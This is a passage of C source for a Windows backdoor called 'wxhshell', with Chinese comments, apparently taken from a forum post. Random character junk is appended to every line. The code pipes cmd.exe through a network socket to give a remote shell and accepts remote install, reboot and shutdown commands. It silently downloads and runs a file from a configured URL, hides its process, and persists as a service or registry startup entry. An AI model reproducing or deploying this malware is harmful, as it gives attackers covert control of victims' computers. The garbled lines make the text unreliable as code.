  hQgN9S5P  
  // 帮助 S9Yt1qb  
  case '?': { ZcryAm:I  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $~'Tf>e  
    break; ?Cci:Lin  
  } O(OmGu4%  
  // 安装 n!N\zx8  
  case 'i': { (3EUy"z-  
    if(Install()) M'1HA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :nQp.N*p  
    else o+g4p:Mf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -'C!"\%  
    break; '0+$ m=   
    } GF--riyfB  
  // 卸载 iG[? ]]  
  case 'r': { Ds5N Ap:x  
    if(Uninstall()) ^@}#me@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eqphd!\#6  
    else GH3#E*t+[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qp!Y.YnPd_  
    break; ,{j4  
    }  ?B4#f!X  
  // 显示 wxhshell 所在路径 t^@T`2jL  
  case 'p': { c#q"\"  
    char svExeFile[MAX_PATH]; 6d{j0?mM  
    strcpy(svExeFile,"\n\r"); ?TuI:dC  
      strcat(svExeFile,ExeFile); "]]q} O?  
        send(wsh,svExeFile,strlen(svExeFile),0); i@$-0%,  
    break; mTEVFm  
    } }h~'AM  
  // 重启 |@`"F5@,  
  case 'b': { _IYY08&(r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t>U!Zal"  
    if(Boot(REBOOT)) gEKO128  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qB JRS'6'9  
    else { XU#,Bu{  
    closesocket(wsh); /Antb6E  
    ExitThread(0);  a8h]n:!  
    } G6Q4-kcK  
    break; `Ei"_W  
    } m,NMTyJoz  
  // 关机 M j~${vj  
  case 'd': { `45d"B I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); POBpJg  
    if(Boot(SHUTDOWN)) _ +KmNfR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jf+7"![|  
    else { UpeQOC  
    closesocket(wsh); q$^<zY  
    ExitThread(0); z]>9nv`b  
    } 4!2SS  
    break; A[ 1)!e  
    } d[U1.SNL  
  // 获取shell WLy7'3@  
  case 's': { {U P_i2`.  
    CmdShell(wsh); eG^z*`**  
    closesocket(wsh); :bw6k  
    ExitThread(0); `GkRmv*  
    break; k6g|7^es2  
  } *eoq=,O  
  // 退出 drX4$Kdf]  
  case 'x': { 2;R/.xI6v  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X)NWX9^;'  
    CloseIt(wsh); U$EM.ot  
    break; A[RN-R,  
    } 1Q_ ``.M  
  // 离开 ws().IZ  
  case 'q': { j@V $Mbv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Deog4Ol"/  
    closesocket(wsh); 9T]va]w?#  
    WSACleanup(); KPg[-d  
    exit(1); YrKFa%k  
    break; S r[IoF)  
        } ! fX9*0L  
  } Z c<]^QR  
  } %8g$T6E[<2  
9$EH K  
  // 提示信息 r)%4-XeV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %y3:SUOdx  
} 5A;"jp^ Z  
  } K9LEIby  
M;> ha,x  
  return; cnC_#kp  
} {!g?d<*  
Xv]*;Bq:SK  
// shell模块句柄 hX %s]"  
int CmdShell(SOCKET sock) +%x^RV}  
{ 4KZSL: A  
STARTUPINFO si; >5df@_'  
ZeroMemory(&si,sizeof(si)); )e#fj+>x)  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TLX^~W[gOm  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 7ia "u+Y  
PROCESS_INFORMATION ProcessInfo; ]P JH'=  
char cmdline[]="cmd"; IS .g);Gj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t0+t9w/fTP  
  return 0; @],Z 2  
} [6tR&D #K  
G@;Nz i89  
// 自身启动模式 Sq.9-h%5  
int StartFromService(void) *j/ uihY  
{ M44_us  
typedef struct ?TRW"%  
{ 2}GKHC  
  DWORD ExitStatus; G) jG!`I  
  DWORD PebBaseAddress; [6oq##  
  DWORD AffinityMask; IBzHR[#,^  
  DWORD BasePriority; O5c_\yv=  
  ULONG UniqueProcessId; EP/&m|o|G  
  ULONG InheritedFromUniqueProcessId; 5wy;8a  
}   PROCESS_BASIC_INFORMATION; fHW-Je7mG  
%!>k#F^S  
PROCNTQSIP NtQueryInformationProcess; S|s3}]g9  
J: L-15  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; aYqqq|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9Zs #Ky/  
4p*?7g_WVH  
  HANDLE             hProcess; 32TP Mk  
  PROCESS_BASIC_INFORMATION pbi; zkuv\kY/Z  
BW+qp3k\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p.qrf7N$  
  if(NULL == hInst ) return 0; 9 J$Y,Z  
Qu!OV]Cc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;>cLbjD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $0ym_6n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BYTXAZLb  
:t_}_!~  
  if (!NtQueryInformationProcess) return 0; ;D6x=v=2  
@2QJm  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f|;HS!$  
  if(!hProcess) return 0; %{7$ \|;J'  
QxP` fKC8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ftDVxKDE?S  
6(!,H<bON  
  CloseHandle(hProcess); GZ; Z  
<m-Ni  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hB?U5J  
if(hProcess==NULL) return 0; wn&[1gBxM  
kO /~i  
HMODULE hMod; H0 {Mlu9  
char procName[255]; bWhJ^L D  
unsigned long cbNeeded; bkJwPs  
hhN(;.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P?-d[zLA  
t sC z+MP  
  CloseHandle(hProcess);  ^xBb$  
F Bd+=bx,Z  
if(strstr(procName,"services")) return 1; // 以服务启动 FjK Ke7  
*Cc$eR]-  
  return 0; // 注册表启动 O e0KAn  
} OJh+[bf"  
w@<<zItSo  
// 主模块 {"qW~S90YO  
int StartWxhshell(LPSTR lpCmdLine) V3aY]#Su  
{ >b[4  
  SOCKET wsl; !pE>O-| K  
BOOL val=TRUE; q8&4=eV\A  
  int port=0; H620vlC}V  
  struct sockaddr_in door; |DdW<IT`0  
.&aVx]  
  if(wscfg.ws_autoins) Install(); UHTb61Gs  
~hxeD" w  
port=atoi(lpCmdLine); C.DoXE7  
.H*? '*  
if(port<=0) port=wscfg.ws_port; <m|FccvQ  
Vs2v j  
  WSADATA data; MVu[gB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <v1_F;{n  
EBN]>zz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C.B8 J"T-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;jpw"-J`  
  door.sin_family = AF_INET; r;@:S~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); LIm$Wl1U  
  door.sin_port = htons(port); ^hGZVGSv  
LNsE7t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D/ NIn=>j  
closesocket(wsl); arpJiG~JR  
return 1; gK]T}  
} 'Q^G6'(SaK  
\oD=X}UQw(  
  if(listen(wsl,2) == INVALID_SOCKET) { x3:ZB  
closesocket(wsl); z{<q0.^EFh  
return 1; Lx4H/[$6D  
} l,~ N~?  
  Wxhshell(wsl); #UP,;W  
  WSACleanup(); b*$o[wO9  
-NI@xJO4(;  
return 0; &**.naSo  
i&AXPq>`  
} jb6ZAT<8  
06j)P6Iju  
// 以NT服务方式启动 DVeF(Y3&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @Reh?]# v  
{ P^o"PKA  
DWORD   status = 0; j:\_*f  
  DWORD   specificError = 0xfffffff; AmrJ_YP/t~  
3oNt]2w/'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; bN<O<x1j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; <#J<QYF&2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &El[  
  serviceStatus.dwWin32ExitCode     = 0; PhI{3B/  
  serviceStatus.dwServiceSpecificExitCode = 0; ] "7El;2z  
  serviceStatus.dwCheckPoint       = 0; )Uoe ~\  
  serviceStatus.dwWaitHint       = 0; /Wta$!X{-  
pB{ f-M:D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b_"V%<I  
  if (hServiceStatusHandle==0) return; d<^6hF  
8?]%Q i   
status = GetLastError(); =-#iXP@  
  if (status!=NO_ERROR) _cnrGi}T  
{ 1&x0+~G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %'p|JS  
    serviceStatus.dwCheckPoint       = 0; Sd/d [  
    serviceStatus.dwWaitHint       = 0; LqH?3):  
    serviceStatus.dwWin32ExitCode     = status; &nY2u-Q  
    serviceStatus.dwServiceSpecificExitCode = specificError; !'UsC6Y4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Iclan\q#y  
    return; 'TEwU0<%  
  } .Jnp{Tet  
3k|~tVM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PhaQ3%  
  serviceStatus.dwCheckPoint       = 0; %.r5E2'  
  serviceStatus.dwWaitHint       = 0; DrYoC7   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9Y*VzQE  
} kA->xjk  
DNTRLIKa  
// 处理NT服务事件,比如:启动、停止 vzT6G/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c_j )8  
{ WLA_YMlA  
switch(fdwControl) RdpQJ)3F  
{ 19.!$;  
case SERVICE_CONTROL_STOP: ,L;c{[*rh  
  serviceStatus.dwWin32ExitCode = 0; N'W >pU  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; =,1zl}PR  
  serviceStatus.dwCheckPoint   = 0; YfYL?G  
  serviceStatus.dwWaitHint     = 0; j^R~ Lt4  
  { ^SelqX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!Ap;O^*  
  } d+wNGN  
  return; R;I-IZS:  
case SERVICE_CONTROL_PAUSE: $DMu~wwfG  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; (\[!,T"[  
  break; EEnTq  
case SERVICE_CONTROL_CONTINUE: (]# JpQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "q#kh,-C  
  break; 9\;/-0P  
case SERVICE_CONTROL_INTERROGATE: Y3F.hk}O  
  break; 41_sSqq;^  
}; Tx&qp#FS  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #._6lESK  
} ]k%KTvX*G  
c^/?VmCQ}  
// 标准应用程序主函数 nV6g]#~ @  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g960;waz3  
{ ri_6 wbPp  
`oI/;&  
// 获取操作系统版本 L.~]qs|G/K  
OsIsNt=GetOsVer(); 7D1`^,?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X0J]6|du.  
TuhL :  
  // 从命令行安装 n"VE!`B  
  if(strpbrk(lpCmdLine,"iI")) Install(); ;@UX7NA  
_-2n3py  
  // 下载执行文件 _|V+["IS  
if(wscfg.ws_downexe) { V,%5 hl'&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %)@(T ye -  
  WinExec(wscfg.ws_filenam,SW_HIDE); 29E@e]Y,`  
} o\Vt $  
p[+me o  
if(!OsIsNt) { LFry?HO,D  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rhxm)5+  
HideProc(); loVvr"&g  
StartWxhshell(lpCmdLine); XzwQ,+IAr  
} Zvw3C%In  
else AG!a=ufc0  
  if(StartFromService()) \7?MUa.4  
  // 以服务方式启动 AZ@Zo'  
  StartServiceCtrlDispatcher(DispatchTable); Bwvc@(3v  
else `e69kBAm  
  // 普通方式启动 MrjB[3Td  
  StartWxhshell(lpCmdLine); %^BOYvPx  
i: uA&9  
return 0; [==Z1Q;=  
}
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只看该作者 1 发表于: 2006-10-10
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